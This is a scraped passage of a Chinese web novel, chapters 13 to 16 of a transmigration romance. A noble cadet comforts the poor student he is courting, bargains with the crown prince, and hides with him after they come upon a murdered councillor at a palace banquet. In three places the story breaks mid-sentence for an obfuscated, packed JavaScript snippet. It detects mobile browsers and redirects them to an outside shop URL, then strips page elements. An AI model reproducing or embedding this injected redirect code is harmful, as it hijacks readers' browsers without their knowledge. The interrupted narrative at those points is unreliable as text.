停在餐厅门口还是太引人注目了,燕骁不习惯这种被人打量的感觉,戚疏十分体贴地换了个方向,帮他挡住其他人的视线。 两人顺着小路慢慢走着,戚疏突然开口:“有件事一直忘了告诉你。” “什么?” “上次机甲失控的事。”戚疏停下脚步,前方拐个弯就是训练室,此刻这里没什么人,高大绿植将两人的身影遮掩得七七八八,不仔细看完全看不到这里有人。 戚疏看着燕骁的眼睛,将自己调查出的所有内容都一一告知,燕骁从一开始的怔愣到最后的沉默,从头到尾都没有明显的情绪变化。 末了,也只是说:“我知道了。” 没有愤怒,没有悲伤,好似就这样平静地、像听一件与自己无关的事一样接受了。 细微的风穿透树叶,带来沙沙的响声,在这寂静的角落里显得有些突兀。 戚疏突然抬起手,轻轻拨弄了一下青年额前略挡住眼睛的发梢。 燕骁愣了一下,抬起眼看他。 那双幽蓝色的眼眸里盛着太多东西,他读不懂,却莫名感受到了一丝被注视的羞怯。 “以后不会了。”戚疏的嗓音有些沙哑。 燕骁没听懂他说的是什么,微微歪了下头,表示疑惑。 戚疏看着他不自觉的可爱小动作,眼底浮现出点点笑意,心底那些沉重情绪一点点散去。 “燕骁。”他听见自己郑重地、珍视地说,“有我在,以后不会再让这种事情发生了。” “别害怕。” 风将落叶卷起,一瞬间扬起的灰尘迷了眼,燕骁感觉眼眶酸涩,忍不住眨了眨。 惶恐,不安,超脱掌控的感觉一下下击中他的心脏,燕骁忍不住后退了一步,任由冷风将自己裹挟。 他的情绪变化很快,快到戚疏还没有反应过来的时候,就已经往身上披了一层尖刺,沙哑的嗓音冷冰冰的: “谢谢,但是以后不要再做这些了。” “我并不喜欢,也不会接受,更不是……”好像说这些话耗尽了全身的力气,燕骁的身体都在抖,“更不是你们这种贵族少爷兴致一来便随意逗弄的玩物。” 指尖狠狠掐进掌心,燕骁颤抖得如同萧瑟风中的一片落叶,明明说着最狠心的话,眼泪却控制不住地溢满了眼眶。 “之前的那些帮助我很感激你,但是我真的没兴趣和你玩什么追人的游戏,请你……请你不要再来打扰我的生活,也不要再一厢情愿地帮我做什么,我不需要!” 到最后声音已经颤得不成样子,半点气势也无。 话音落地,一滴泪水顺着眼角滑下,他慌乱地抬手抹去,却不料越抹眼泪流得越凶,到最后狼狈地红了眼眶、鼻尖。 戚疏却还是那样,嘴角噙着淡淡笑意,看着他。 燕骁的心突然漏了一块,冷脸几乎要绷不住,匆匆偏开脑袋,任由冷风呼呼往心里那块缺口灌。 耳边响起一声低低的叹息,紧接着,冰凉的脸颊被温热的掌心覆上,隔着一层模糊的光影,戚疏的声音温柔耐心,也透露着点点无奈。 “怎么这么爱哭。” 戚疏此刻是真的感觉很无奈。 他好像总是把事情搞砸,比如告白,比如追求,明明是想让对方开心的,结果却不如自己所料,还把人惹哭了。 追求燕骁这件事,戚疏从头到尾都没有想过要他答应,这只是他个人的行为,是他的主观意愿,只是想做便做了。 但他貌似做错了。 他漏想了一点,没有在爱里长大的孩子,是不会接受别人的爱的,他只会感到不安,感到惶恐。 更何况还有家境地位上的巨大差距。 燕骁的眼泪就像一把重锤,狠狠敲在戚疏心上,让他第一次知道了心痛是什么感觉。 趁着在偏僻角落不会被人看到,戚疏慢慢将手滑到青年后颈,另一只手绕到后面摸上脊背,将他轻轻压向自己。 直觉告诉他,燕骁现在需要一个拥抱。 被抱住的燕骁愣住了。 但这个怀抱温暖干燥,还有淡淡的雪松味,是燕骁熟悉的感觉,更是他无意识中已经视为安全区的地方。 他忍不住往前一点,再靠近一点,手指揪住衣角,额头抵上戚疏的肩膀。 一阵低低的啜泣声响起。 戚疏抱着他,等着他一点点平复下来,生疏地学着曾见过的母亲哄孩子的模样,一下一下轻拍着他的后背。 他说话时产生的震动从胸膛内发出,隔着一层薄薄的衣服传递给燕骁。 “抱歉,是我没有考虑到你的感受。” “我的本意是想让你开心的,但现在看来,好像搞砸了。” 他的声音里带着淡淡的自嘲。 “和你一起上课,帮你写笔记,请你吃饭,我能想到的暂时只有这些,我以为从这样的简单接触开始,你会不那么抗拒。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980703|193570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “但显然,我猜错了。” 燕骁揪着他衣服的手紧了紧。 “对不起,让你不开心了。” 怀中的人略微偏了偏头,戚疏等了会儿,却没等到他说话,只有喷洒在颈侧的点点呼吸。 但燕骁的反应已经足够说明什么。 戚疏低低地笑了下:“原来是开心的吗?” “那就好。”戚疏呼出一口气,郑重其事道,“我知道你在说违心的话,但我依旧需要做一个正式的解释。” 燕骁僵硬在他怀里,不会说话也不会动,更是差一点连呼吸都忘了。 “不是玩弄,也不是闲来无事找的乐子,是真的喜欢你。”戚疏换了个动作,下巴轻轻搭在青年头顶,感受着发丝拂过皮肤带来的那丝缕的痒。 “对于我的追求,你不要有负担,也不需要给我回应,我做这一切只是因为想做,不是为了得到应允。” “燕骁。”戚疏叫他的名字,“等你真正信任我的那一天,再给我回应吧。” “无论是答应还是拒绝,我都接受,好不好?” 系统在半空看着,忍不住摇了摇头。 谁说这没谈过恋爱的男人不行,它的宿主可太行了,这一套下来,就差把人哄成胚胎了。 燕骁说没有感受是不可能的,尤其是在戚疏低沉温柔的嗓音攻势下,在这个温暖得让人不想撒手的怀抱中。 他感动,却也不安。 从没有人这样认真地将一颗真心捧给他,燕骁能感受到戚疏付出的感情的浓烈,但这样的浓烈反而让他不知所措。苦难的前半生似乎只教会了他如何在最艰难的环境里生存,却没人告诉他面对别人的善意和喜欢,应该如何回馈。 所以在察觉内心慌乱的一瞬间,他能做的只有把自己武装成刺猬,用最狠最无情的方式斩断还没来得及续起的情感。 但和预想中的暴怒嘲讽不同,戚疏给了他一个拥抱,一个他曾经最渴望拥有的,温暖的避风港。 即便是虚假短暂的,也足够将他全身的尖刺软化了。 戚疏轻轻环抱着怀中的人,身上淡淡的雪松气息随着这个拥抱传递到燕骁身上,让他也染上同样的气味。 肩膀处的衣服湿了,微微凉意由肩膀传达到大脑,戚疏却一丝一毫都没动。 过了一会儿,燕骁慢慢停止了啜泣,后知后觉注意到两人过于亲密的姿势。 像被烫到似的松开手,他匆匆忙后退一步,恰好和戚疏松开收回的手臂擦过,青年顶着通红的眼眶和满脸狼狈的泪痕,眼底的情绪却一点点沉了底。 转眼间,那双漂亮的琥珀色眼眸中,又只剩冷静和疏离了。 但仔细观察就能发现,那长长的、不安颤动的睫毛,还是暴露了主人的一点慌乱情绪。 戚疏却什么都没说,此刻他很庆幸军校的制服是藏蓝色的,沾上了眼泪也只是颜色变深一点,不仔细看根本看不出来。 他们在这里停留的时间太长,长到燕骁低头匆匆一瞥,时间已经到了离上课还有两分钟。 戚疏也看到了。 他看着燕骁,恰好燕骁也抬眼看向他,视线交错,燕骁飞快移开眼,目光空茫地落到他身侧的半空中。 戚疏嘴角勾起一个极浅的弧度。 他的手在燕骁后背上轻轻一拍。 “走吧,去上课。” 14. 贫穷的军校生(14) 燕骁从偏僻角落走出,汇入人群向训练场走去,戚疏不远不近地走在他身侧,既不会让人发觉他们的关系,也不会显得过于疏远。 所以过路的学生们也只是匆匆投来视线,紧接着便继续做自己的事,燕骁原本还紧绷着的身体逐渐放松。 没有谁会对他这个存在感低的人投以过多注意,他还是和以前一样是个默默无闻的透明人,戚疏的加入似乎并没有改变什么。 但也许也改变了一些。 比如燕骁此刻的内心,戚疏的体贴不张扬但也不隐晦,一点一滴他都能感受得到,这种感觉太陌生也太奇怪,就像是心突然漏了一块,空荡荡,但也沉甸甸的。 * 从戚疏将话说开后,两人之间的关系发生了一些转变,周围的同学们也发现,这两个曾为话题中心的人,结伴一起出现的时间越来越长了。 那天戚疏将内心明明白白摊开在燕骁面前,虽然没有得到回应,但好在燕骁默许了他的那些行为,不再抗拒,也没有那么惶恐不安了。 军校一年级的课程说难也算不上多难,只是内容繁多,每个科目都有几本厚厚的书——即便在星际时代,人们依旧没有放弃纸笔这样的记录方式,尤其在学校。 而每次上理论课,戚疏都会坐在燕骁旁边,他不清楚的没学会的,戚疏总会先他一步知道,然后将知识点写在纸上推过去。 这些东西对于拥有原主记忆的戚疏来说再简单不过,他写的简洁明了,让燕骁一看就懂。 下课后两人照旧一起去餐厅吃饭,不过每次都是戚疏付钱,他的动作太快,燕骁总抢不过,久而久之也慢慢习惯了,下课铃响,两人便一前一后地走出教室,去往餐厅,明明从头到尾都没什么交流,但气氛就是莫名地有种容不下任何人插入的感觉。 在戚疏的坚持下,燕骁的理论课成绩有所进步,餐厅的菜品也被带着吃了个遍,终于不再是看着图片还想象不出味道了。 今日的午餐点了燕骁最喜欢的几道菜,他垂着眼一口一口认真地吃着,戚疏原本在盯着他看,光脑一声震动,他点开消息界面,眉头一点一点皱了起来。 发信息的是戚任善,这个世界戚疏的父亲,戚家现任的家主。 [今晚回来一趟。] 戚疏早已成年,有自己的住所,后来更是进入军校直接住进宿舍,戚任善掌管着偌大的戚家,常年在外出差,父子俩没什么亲情,平时也不会互相惦记。 戚任善住在戚家主宅中,父子俩常年见不到面,但既然他开口,那应该是有重要的事,戚疏想了想,回了个“嗯”。 * 当晚回去后,戚疏就后悔了。 书房内,戚任善端起茶杯喝了一口,开口道:“明晚去参加一场宴会,在皇宫。” “皇宫?”戚疏挑眉。 皇宫里的宴会可不是什么人都能参加的,也不是随随便便举办的,有资格在皇宫举办宴会的不是皇帝本人,就是经皇帝授权的皇子。 帝国皇帝现今已两百多岁,身体病弱,近些年已经很少出现在人前,戚疏猜这场宴会应该是哪位皇子举办的。 就是不知道目的是什么了。 戚任善对他的反应似乎很不满,眉头深深地皱起:“这次宴会是储君殿下举办的,只邀请了你们年轻人,到时所有皇室和贵族中的年轻一代都会参加,需要做什么,不用我多说吧?” 戚疏思考了一下,了然。 这种只有年轻一代出席的宴会目的无非两个,社交和相亲。 戚家是贵族金字塔中塔尖一样的存在,向来只有别人巴结的份,就连皇宫里的一些皇子皇女见到戚家人都要客气三份。 所以戚任善这是要让他去相亲啊。 [早知道是这样的事,我就不回了。] 戚疏在心里埋怨系统。 系统不背锅:[原著中没有提到这场宴会,所以系统也不知道呢。] [……] 戚疏想要拒绝,但显然戚任善不会给他一丁点机会。 “我才二十二,这么安排是不是为时尚早啊。”戚疏笑意不达眼底。 戚任善抬眼瞥他,好似看准了他内心的想法,语气冰冷中带着威胁:“这件事没有商量的余地,你是戚家的继承人,万事要以戚家为先,一个合适的妻子能让戚家再进一步。” “所以别耍小心思。”戚任善收回视线,低头喝茶,“如果你不想失去继承权的话,就听话一点。” 戚疏脸上的笑意不再。 他深深地看了一眼这个名义上的父亲,过了许久,才应声。 “是,父亲。” [所以你真的要去相亲呀?]系统看热闹不嫌事大。 戚疏冷笑:[你很高兴?] [是的。]系统诚实说,[如果你能不和主角搅和在一起,我真的很高兴。] [不好意思,那你白高兴了。]戚疏毫不留情地打断它的想法。 相亲是不可能相亲的,但宴会还是要去。 不仅是因为自己现在还未掌控戚家不能明着和戚任善作对,更因为他想到了原剧情里一件很重要的事。 皇帝病重,没几年好活了,但太子地位不稳,更不得皇帝喜爱,后来更是因为一些事被取消储君之位,在皇帝死后和一众皇子争夺帝位,帝国混乱了好几年,直到原世界剧情线结束时才平息。 原剧情里帝国储君是个真正为国为民的好储君,但是老皇帝和剩下的几个皇子都不是什么省油的灯,储君聪慧有余心狠不足,没少吃闷亏。 而戚疏今晚就要会一会这位储君殿下。 去往皇宫的悬浮车上,戚疏双腿交叠,一身白色西装衬得人干净挺拔,戚家人肤色都很白,所以哪怕是白色西装配白金色头发也一点都不显土气,反而有种令人畏惧的矜贵。 而这样矜贵的人,此刻正拿着光脑和追求对象聊天。 系统:[你们好黏糊。] 黏糊这个词还是它从星网上学来的,之前推荐给戚疏的追人方法不知道他有没有用,但系统倒是在星网上看了不少关于人类情侣的冷知识。 戚疏嘴角挂着淡淡笑意:[正在追人,总要拿出点诚意来。] 他今天离校走得匆忙,忘了叮嘱燕骁吃晚饭,想也知道这人不被盯着肯定不去餐厅,所以戚疏掐着时间发去消息,让燕骁拍晚饭照片给他。 燕骁做事一根筋也不会骗人,想不到从星网上找图片骗他,所以当看到图片中略显单薄的一菜一汤后,戚疏虽然有点不满意,但总体还是感到很欣慰。 图片上露出了青年的一只手,手指纤细骨节分明,但不再是以往的干瘦,被戚疏精心投喂了这么久,终于长了些肉,皮肤也变得更有光泽。 戚疏回了个“好乖”,也不管对面的人看到是不是会脸红,微笑着放下了光脑。 皇宫。 这次举办宴会的地点在皇宫外城,皇宫分为内外两城,内城是皇室族人居住的地方,外城才是召开会议和开展宴会最常用的地区。 帝国储君举办的宴会,受邀之人无一不是中央星上有头有脸家族中的人,宴会厅布置得奢靡豪华,宾客们也都衣冠楚楚,举杯交谈甚欢。 戚疏到场时,认识的不认识的都围上来和他交谈,戚疏端着杯香槟,有人敬酒也只是微抿一口,但没人敢说什么。 戚家权势太盛,多年积攒的底蕴是不少新贵族加起来都追赶不上的存在,帝国的政权划分大致分为议院和贵族两方,戚家虽然在议院里没什么人,但是在贵族里,几乎可以说是只手遮天的存在。 就连皇室里的人见到戚疏都要客气三分,更不要说这群家世实力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980704|193570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不如戚疏的小贵族们了。 中央星上生活的有权有势的人们经常举办宴会,虽然还不清楚储君殿下举办这场宴会的真正目的,但能结交更多朋友也是好的,所以戚疏身边来来往往许多人,一直都没有空闲下来的时候。 戚疏脸上的表情越来越淡。 系统在半空中看着,都觉得累:[人类的世界好复杂。] 所有人都维持着假笑,端着绷紧的姿态,和别人说着违心的假话,生而为系统的它真的很不理解。 像他们系统多好,有什么事上级一道指令下来,不用多说废话,直接照做就好,同事之间也没有那么多勾心斗角,大家都是单纯直白的系统。 戚疏几杯香槟下肚,没有丝毫醉意,但他已经不想喝了,上流人士惯会察言观色,看得出他的不耐,围着的人逐渐散开。 戚疏走到一个偏僻点的角落,百无聊赖地看了看四周,又打开光脑,给置顶的联系人发去一条消息。 两分钟后,对面没有回复,不知道是不是还没看到。 戚疏眉头微微一皱,这个时间燕骁一般已经回到宿舍了,难道是因为看书太专注所以忽略了他的消息? 但很快,戚疏就没空纠结了,储君终于出场,在场所有人目光都看向台前,听储君殿下的官方发言。 戚疏也是第一次亲眼见到这位皇室的大皇子,现在的储君殿下。 台前的男人一身黑色西装,布料上有零星碎钻点缀,皇室血脉独特的金发金眸,脸部线条锋利,不笑时显得有些严肃,但那张脸无疑是俊美的。 戚疏扫视一周,发现不少人对着那张脸流露出痴迷,大皇子殿下至今未选妃,今晚不知多少人是冲着他来的。 官方发言完毕,储君殿下表情变得和缓,让大家尽情欢乐,自己则低调地从台侧下去。 戚疏从附近的桌子上随手拿了杯酒,跟上去。 “储君殿下。” 戚疏从身后叫住他。 卡斯利安回头,看到他,微微顿了一下。 两人举杯相碰。 卡斯利安,全名卡斯利安·沃斯,现任陛下的第一个儿子,二十八岁,成年时被册封为储君,至今已有八年,但不得陛下喜欢,地位尴尬。 “戚疏,好久不见。”卡斯利安表情淡淡的,这位殿下性格直接,不会那些弯弯绕绕,对待一个认识但不熟的人更懒得奉上表情。 戚疏不在意,不熟悉也可以变得熟悉,他这次来就是为了见卡斯利安一面。 “殿下有时间吗?我有笔交易,想和殿下谈一谈。”戚疏脸上挂着浅淡的礼貌微笑。 两人身高相仿,气势相当,视线在半空中相撞,谁也没有移开。 良久,卡斯利安深深地看了他一眼后垂下眼,带着戚疏走到一个不引人关注的角落,让随身跟着的侍卫离远些,防止不长眼的人闯进来打扰。 两人在窗前站定,卡斯利安曾在军队历练过几年,站姿笔挺,戚疏更像个浪荡的贵族少爷,斜斜倚靠着窗边,浑身放松。 一眼看过去,还以为他才是帝国的储君殿下。 卡斯利安看着他这幅样子,微不可察地皱了下眉:“你想和我说什么?” “我想和殿下谈个生意,或者说,寻求合作。”戚疏举了举杯,但被卡斯利安拒绝。 戚疏也不恼,他对喝酒没什么兴趣,卡斯利安不喝最好,他直接将酒杯放在了桌子上,坦言道: “陛下身体愈发不好了吧?虽然皇宫的消息瞒得紧,但陛下不出席各种重要场合却是被所有人看在眼中。” “身为储君殿下的您,最近过得不太好吧?” 卡斯利安乍然抬眼,眸光幽深地看着他:“你很大胆。” 在这样的场合,在他的面前,居然敢光明正大地议论皇室,简直胆大包天。 15. 贫穷的军校生(15) 戚疏不甚在意地耸肩。 “殿下虽然已是储君,但帝国人皆知,陛下并不属意您登上宝座。”戚疏说,“而您如果想要为自己争取,那就只有壮大手中力量。” 卡斯利安曾在军部任职,暗中在军部发展自己的势力,只不过军部这么多年一直被贵族出身的将领占据把持,一时间很难被他找到突破口。 “我知道您在议院和贵族中的支持不多,您手中的筹码无非是在军部发展的那些官职低微的下属。” 卡斯利安没有打断,静静地看着他,戚疏勾唇一笑。 “我要和殿下做的交易,便是助殿下获得贵族支持,还有未来的……” 他压低了声音。 “军部掌控权。” 卡斯利安目光幽深,显然是被戚疏说到了心坎上。 “那你想从我这里得到什么?” 天下没有免费的午餐,哪怕是帝国储君殿下。 不是卡斯利安不信任戚疏,而是需要更慎重的考虑,戚疏出身贵族中地位最高的戚家,他的一举一动可以影响大半贵族的站位,但他自己出身贵族,家族地位稳妥,又何必冒这个风险来帮他一个不受宠的储君? 何况目前戚家还不是戚疏当家做主,戚任善不可能放任他肆意掺和进皇子之争。 戚疏目光看向窗外,帝国皇宫的花园中养育着全星际都难寻的珍贵花草,有些甚至会自行发光,在夜晚看去格外美丽。 他轻笑一声:“我想要的东西,殿下现在还给不了。” 这就是不想说的意思了。 卡斯利安挑了下眉:“如果阁下的诚意只有这些,那么我们或许没办法达成交易了。” 说着他就要转身离去。 “殿下别急。”戚疏叫住了他,“我需要的东西殿下现在给不了,不代表以后给不了。” “而为了表达我的诚意,我可以送殿下一份礼物。”戚疏的声音压低了些,在寂静晦暗的角落中不免带上了些神秘色彩,“一份……殿下绝对会感兴趣的大礼。” “哦?”卡斯利安转过身,正眼瞧着他,心里盘算着他能送出什么样令人惊讶的礼物。 作为帝国储君的卡斯利安,从小到大什么奇珍异宝都见过了,全星际能打动他的东西不多,但见戚疏胸有成竹的样子,他竟莫名被挑起了些兴趣。 戚疏身体前倾,只有他们两人能听到的声音在卡斯利安耳边响起。 “小心三殿下,莱恩·沃斯。” 三殿下,帝国三皇子,卡斯利安同父异母的弟弟,一个不受宠且性格内向的皇子。 卡斯利安皱眉:“什么意思?” 莱恩性格内敛安静,这么多年一直做小伏低,是众皇子中最没有存在感的一个,戚疏为什么要让自己小心莱恩? 戚疏说完便退了回去,听到他的问话笑了一声。 “殿下英明神武,但对于身边人,给予的信任太多了。” 卡斯利安的眉头皱得更紧了。 在原著剧情中,大概一个月后,陛下的病情将进一步加重,消息再也瞒不住,一夜间传遍了中央星,而储君卡斯利安不知为何惹怒了陛下,被狠狠训斥一番,从此失去陛下宠爱,一段时间后更是被挑错剥夺了储君之位,降为普通皇子。 而向来是个透明人的三皇子莱恩则因为侍疾有功,被陛下特许陪伴左右,一下跃升为最受皇帝宠爱的皇子,更是哄得皇帝将一些重要政事都交给了他做。 卡斯利安被剥夺储君之位的第四年,老皇帝死了,莱恩手握大权,将帝国搞得乌烟瘴气,直到再三年后卡斯利安杀了他登上帝位,帝国才慢慢平复下来。 因为剧情都是围绕燕骁展开,所以关于皇室并没有提到太多细节,戚疏只知道三皇子会将皇帝重病的原因嫁祸到卡斯利安身上,但具体如何做的他并不清楚。 他手下的势力还做不到渗透皇宫,所以这件事既是给卡斯利安的提醒,也是为了自己的利益。 三皇子莱恩阴郁暴虐,手段狠辣,难为储君,若真如原著那样发展,未来的帝国将有好几年处于混乱之中,直到卡斯利安斗败其他所有皇子登上帝位。 但时间太长了,戚疏等不了。 按照原著剧情发展,帝国混乱的那几年他和燕骁才刚进入军部,不出意外他们将前往前线御敌,到时候中央星上的所有事,戚疏都鞭长莫及。 而他最担心的是燕骁的安危。 这个世界从不吝啬在燕骁身上投诸恶意,帝国一乱,哪怕和燕骁八竿子都打不着关系,但身为世界主角的他身边必定会危险重重。 而助力卡斯利安早日成为皇帝,一是让帝国不经历混乱期,保证燕骁的安全;二是手握从龙之功,万一之后燕骁遇上他解决不了的困难,卡斯利安看在他曾经的帮助下,必定不会袖手旁观。 戚疏要为燕骁创造一个再无后顾之忧的未来。 将原著剧情隐去,戚疏只说自己下属无意中发现这位三皇子殿下与传言不符,还撞见了他和下属交代要事,顺着查下去,发现竟然事关重病的陛下。 提醒到这个程度,卡斯利安如果还没有防备地被算计成功,戚疏就真要怀疑他的能力了。 卡斯利安眸色深深,像是已经被他说服,表情严肃。 他沉吟片刻:“你说的这些我自会去调查真实性,若是真的,一个月后,我会再联系你。” 戚疏勾唇微笑:“期待殿下的好消息。” 卡斯利安忌惮他贵族的身份,怀疑他投诚的真心,这些都在戚疏意料之内,所以今日这笔交易谈不成也很正常,他早有准备,只要卡斯利安亲眼看到被他忽视的软包子弟弟是如何表里不一,自然会对戚疏多一分信任。 “殿下,告辞。” 戚疏端起他那杯一口没喝的酒,礼貌和卡斯利安欠身行礼。 而当他站直身体时,突然从窗边瞥见了一道十分眼熟的身影。 是燕骁。 他怎么在这里? 戚疏登时停在了原地,皱眉望向那个方向。 卡斯利安见他神色有异,跟着皱眉看过去,但花园里没有丝毫异样:“怎么了?” “看到了一个朋友。”戚疏脸上那种放松的笑意没了,卡斯利安惊讶地看着他陡然转变的脸色,不知道是什么人竟然能让他露出这样失态的表情。 戚疏冲他略一颔首:“失陪,我过去看看。” 然后不等卡斯利安回答就快步朝着那个方向离去。 侍卫走上前行礼:“殿下。” 卡斯利安微微蹙着眉,将戚疏提醒的事交代了下去,不管他说的是真是假,调查一下对自己没有坏处。 侍卫应下,卡斯利安原本应该前往宴会正厅和其他贵族子弟交谈,但他现在莫名对戚疏起了兴趣,想了想,带着人跟了上去。 见方才戚疏急色匆匆的模样,万一遇到什么事情,他作为宴会的负责人,也好及时处理。 另一边,戚疏左拐右拐来到宴会厅二楼,这里的房间一般都被用作了休息室,供下面参加宴会的客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980705|193570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人临时休息或整理衣物用。 燕骁怎么会在这儿? 戚疏回想了一下,只在原著剧情找到了个模糊的描写。 系统这时候意外地靠谱:[原剧情中主角有一份做侍应生的工作,这还是个挺重要的剧情点。] 戚疏脚步一顿。 此刻他正好停在拐角处,前方是两道穿着侍应生衣服的身影,一高一矮,高的那个是燕骁,矮的那个正歪着头和燕骁说话,两人看起来十分放松,完全不知道几分钟后会发生什么。 但手握剧本的戚疏知道,他只是没有想到,被他严重影响偏离正轨的剧情,居然还会以这种方式拐回来。 原剧情没有说明燕骁出事的具体地点,但同样是在一场宴会上,身为侍应生的燕骁无意间撞见了一起命案现场,死者在一间休息室中被人杀害,血流了满地,同伴的尖叫声引来了宴会上的众人,消息一夜间便传了出去。 死者的身份不简单,是帝国议院中的一名议员,消息传出后举国哗然,这件事的热度也居高不下。 原本这些都和一个小小侍应生无关,但燕骁的主角体质让他注定难逃一劫,杀害议院的幕后主使就是三皇子莱恩,莱恩性格阴暗扭曲,记恨上了撞破这件事的两个侍应生,碍于燕骁是军校学生不能光明正大弄死他,便收买了几个军校学生,在校内对燕骁一顿毒打,险些废了他的手脚。 是发泄,也是警告。 原剧情里的燕骁原本就活得够艰难了,经过这件事后不仅丢了工作,还身受重伤,并在之后的很长一段时间里都躲不掉莱恩的病态报复,遭受了比霸凌更可怕的对待。 戚疏回忆完这些,脸色黑的已经不能用语言来形容。 就在他回想剧情的这点时间,燕骁和另一个侍应生已经停在了一扇门前,戚疏快步上前,却还是晚了一步。 那个侍应生已经推开了门,走廊上的灯光照进房间,照亮了一地狼藉,和房间正中央躺着的一个血人。 “啊——” 小侍应生的尖叫声响彻走廊,燕骁站在他身侧还没反应过来,就见一人快步上前,一掌劈在侍应生后颈。 砰,那人晕倒落地,燕骁眼前一花,下一刻就被拦腰抱起,被带着挤进旁边一处凹陷角落,两具身体紧紧贴合。 比反抗先到来的是熟悉的雪松气息,燕骁紧绷的脊背一松,喃喃开口:“戚疏?” “嘘。” 距离更近了。 外面的动静已经引起了皇宫护卫的注意,不出意外应该很快就会赶到,这个角落刚好在楼梯另一侧,就算有人上来也不容易发现,但空间太小,两个人躲在这里必须紧紧贴着彼此,才能不露馅。 隔着晦暗灯光,燕骁抬起眼,宛如撞入一片深邃海底,戚疏幽蓝色的眸子在黑暗中仿佛危险的海底旋涡,将他牢牢吸入。 他们此刻面对面站着,戚疏的一条腿插进了他双腿之间。背后是冰冷的墙面,面前则是温热的胸膛,均匀起伏的呼吸喷洒在耳畔,带着不容抗拒的侵略意味。 燕骁感觉耳朵又烫又痒,忍不住扭头,试图离他远一点。 但还没有成功,放在腰上的那只手又发力,他整个人被勒得向前扑过去,就像是投怀送抱一样。 戚疏微微侧头,一手挑起青年的下巴,强迫他与自己对视,声音低沉:“不想被发现,就别动。” 燕骁一晃神,压根没听清他说什么,望着那张一抬头就将要碰上的唇,身体一动都不敢动,藏在头发中的耳尖却一点点红透了。 16. 贫穷的军校生(16) 走廊上的脚步声由远及近,来人却不是戚疏预想中的护卫,而是卡斯利安。 燕骁站立的角度看不到外面,听到脚步声愈发紧张,不自觉往戚疏怀里靠。 戚疏放在他后腰上的手摩挲了两下,燕骁整个人一颤,一股酥麻从尾椎骨的位置升起。 但因为脑袋被压在对方身上,燕骁看不到戚疏的脸,不知道他在自己主动送上来的那一刻起便抑制不住地露出笑意,并坏心思地不提醒他,还越抱越紧。 走廊上,卡斯利安带着一队侍卫走来,站在无人的空旷走廊上,看着地上晕倒的侍应生,再顺着打开的房门看到了里面的血泊。 一直跟在卡斯利安身边的亲卫面容严肃:“殿下,出事了。” 在他们殿下主持的宴会上有人被杀害,这件事非同小可,亲卫的手已经摸上了腰间别着的能源枪,警惕地注意着四周。 躲在角落里的戚疏将外面的动静看得一清二楚,在亲卫的视线落到这里时低下头,在燕骁耳边“嘘”了一声。 不明所以的燕骁身体绷得更紧,几乎要不会呼吸了。 卡斯利安是见戚疏急色匆匆才跟来,但眼下也顾不得他去了哪里,他挥一挥手,吩咐皇宫侍卫。 “去,将昏迷的人带到安全地方,问出他知道的全部。” 皇宫侍卫应声而出:“是,殿下。” “再将宴会所有出入口严密封锁,未经允许任何人不得离开。”卡斯利安有条不紊地安排,“封锁二楼所有进出入口,这一层的所有人暂时不得出入。” “是!” 一条条计划安排下去,卡斯利安心里却隐隐觉得不安,他看着房间内倒在血泊看不清脸的人,不知为何,总觉得有一股难言的寒凉,顺着空气攀上脊背。 侍卫们都被分配了任务,眼下这里只有卡斯利安和他的亲卫,卡斯利安给了他一个眼神,亲卫立刻明白,走进房间检查,确认死者的身份。 没一会儿亲卫便走出来了。 “回禀殿下。”亲卫的声音压得极低,像是怕惊扰了什么,目光看似无意地从把守二层的侍卫们身上划过,用只有卡斯利安能听到的声音说道,“死者是……艾斯克议员。” “死因初步推测是钝器重创头部,失血过多而亡,没有检测到精神力使用痕迹。” “房间内没有疑似凶器的物件,可能是被带走了。” 艾斯克,议员中少有的中立党,卡斯利安对他还有印象,因为就在不久前,是他在议会上提议,既然陛下病重无法出席,今年的军部检阅事宜理应交由储君卡斯利安负责。 军部检阅,帝国一年一度的盛事,这件事如果做得好了,有助于提升储君殿下在帝国公民心中的地位,对于不受陛下宠信、地位尴尬的卡斯利安来说,是一件百利而无一害的事。 这个提议最终被议院通过,卡斯利安获得了军部检阅的指挥权,但艾斯克却死在了不久之后的这场由卡斯利安主持的宴会上。 卡斯利安闭了闭眼,只觉得那股寒意一瞬间充斥了全身。 如果他没记错,艾斯克应该是拥有b+级精神力,普通人几乎不可能悄无声息地在宴会上杀掉他,还不被人发觉。 但房间内确实没有精神力使用过的痕迹。 卡斯利安的精神力也是s级,对精神力十分敏感,但此刻房间内只有浓重的血腥气,没有半点精神力发动过的迹象。这种情况只有两种可能,一是行凶者的精神力远胜艾斯克,并在事后抹除了一切可能被探测出的痕迹;二是行凶者是死者熟悉的人,在毫无防备的情况下将人杀害。 